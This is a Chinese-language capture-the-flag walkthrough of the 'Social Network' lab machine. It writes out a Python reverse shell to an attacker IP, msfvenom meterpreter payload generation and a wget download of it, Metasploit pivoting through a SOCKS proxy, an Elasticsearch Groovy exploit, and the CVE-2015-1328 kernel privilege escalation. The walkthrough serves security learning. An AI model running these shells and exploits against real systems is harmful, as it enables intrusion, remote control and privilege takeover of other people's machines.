BoredHackerBlog-Social Network
靶机:192.168.232.133
主机发现
netdiscover
1
| netdiscover -r 192.168.43.1/24
|
可以扫描一下存在哪些主机
image-20221005153107615
端口扫描
nmap扫描端口
1
| nmap -A 192.168.232.0/24
|
image-20221005150720469
发现存在5000端口,Werkzeug是python开发的框架
目录扫描
可以用御剑直接扫描
也可以用kali的dirsearch命令
dirsearch扫目录
1
| dirsearch -u 192.168.232.133:5000
|
image-20221005155639818
直接扫到了admin
image-20221005155746019
反弹shell
前面nmap探测到是基于python开发的框架
寻找python反弹shell的payload
一个反弹shell命令的站:
https://forum.ywhack.com/shell.php
生成shell
1
| import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.232.132",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
|
kali设置监听
1
| nc -lvvp 6666 #监听本机的6666端口
|
上传payload
1 2 3
| import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.232.132",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
|
反弹成功
image-20221005161623990
docker容器
反弹shell后,发现在/app目录下
还发现了dockerfile
怀疑是在docker容器里面
判断是否在docker环境下
三种确定方法
方法1:如果根目录下存在dockerenv,那么有极大的概率,我们是在docker环境中
方法2:查看ip,如果ip与网站ip不同,那么有极大的概率,我们是在docker环境中
方法3:如果/proc/1/cgroup文件里面可以看到docker,以及docker的hash值。那么我们一定在docker环境中。
image-20221005163937983
确定我们是处于docker容器下
shell脚本
使用msf生成shell
1
| msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.232.132 LPORT=1111 -f elf > shell.elf
|
开启http服务
1
| python3 -m http.server 8000
|
从kali主机下载生成的shell
1
| wget 192.168.232.132:8000/shell.elf
|
msf设置监听
1 2 3 4 5 6
| msfconsole use exploit/multi/handler set payload linux/x64/meterpreter/reverse_tcp set lhost 192.168.232.132 set lport 1111 exploit
|
执行shell
1 2
| chmod +x shell.elf ./shell
|
反弹成功
image-20221005170641155
内网穿透
获取网络接口
image-20221005172016935
添加路由
1
| run autoroute -s 172.17.0.0/24
|
image-20221005172337464
探测内网主机
1
| run auxiliary/scanner/portscan/tcp rhosts=172.17.0.0/24
|
image-20221005174803761
设置代理
1 2 3 4 5
| background use auxiliary/server/socks_proxy set srvhost 192.168.232.132 set srvport 2222 exploit
|
配置proxychains文件
找到proxychains.conf文件,linux是/etc/proxychain4.conf
把ip改为kali的ip 端口改为刚刚的2222端口
image-20221003173328944
nmap扫描
image-20221005180118892
image-20221005180131485
9200端口对应的是elasticsearch服务
查询elasticsearch服务的版本
1
| proxychains4 curl http://172.17.0.2:9200/
|
莫名其妙跑不出来
直接访问查看吧
image-20221005181031876
漏洞利用
直接利用msf进行漏洞利用
1 2 3 4 5
| search elasticsearch use exploit/multi/elasticsearch/search_groovy_script set rhosts 172.17.0.2 set rport 9200 run
|
image-20221005182328864
ls 发现passwords文件
image-20221005182443027
解码之后
image-20221005182508436
ssh尝试登陆,只有john能登陆
权限提升
查看内核版本
image-20221005184523125
内核版本比较低,可以尝试内核提权
查找漏洞库
image-20221006160842554
查看exp代码发现代码末尾会调用gcc来编译ofs-lib.c文件,因为靶机上没有gcc环境,所以不能在靶机上直接运行。
我们可以把ofs-lib.so文件和exp文件一同上传到靶机,改成只是调用文件,编译代码操作我们在kali本地完成,这时代码里的编译文件的代码也就不需要了,删除方框内编译代码即可
下载一份payload到本地攻击机
1
| cp /usr/share/exploitdb/exploits/linux/local/37292.c .
|
注释掉一部分代码
image-20221006161852478
在本地编译一下
查找ofs-lib.so文件,并复制到和exp相同的文件下
1 2
| find /usr -name ofs-lib.so cp /usr/share/metasploit-framework/data/exploits/CVE-2015-1328/ofs-lib.so ./
|
kali开启一个服务
1
| python3 -m http.server 8000
|
然后在靶机上面下载刚刚生成的两个文件
1 2
| wget 192.168.232.132:8000/exp wget 192.168.232.132:8000/ofs-lib.so
|
image-20221006163608422
执行exp即可
1 2 3
| chmod +x exp chmod +x ofs-lib.so ./exp
|
发现失败
image-20221006163655486
需要将两个文件移动到tmp文件夹下才行
执行发现成功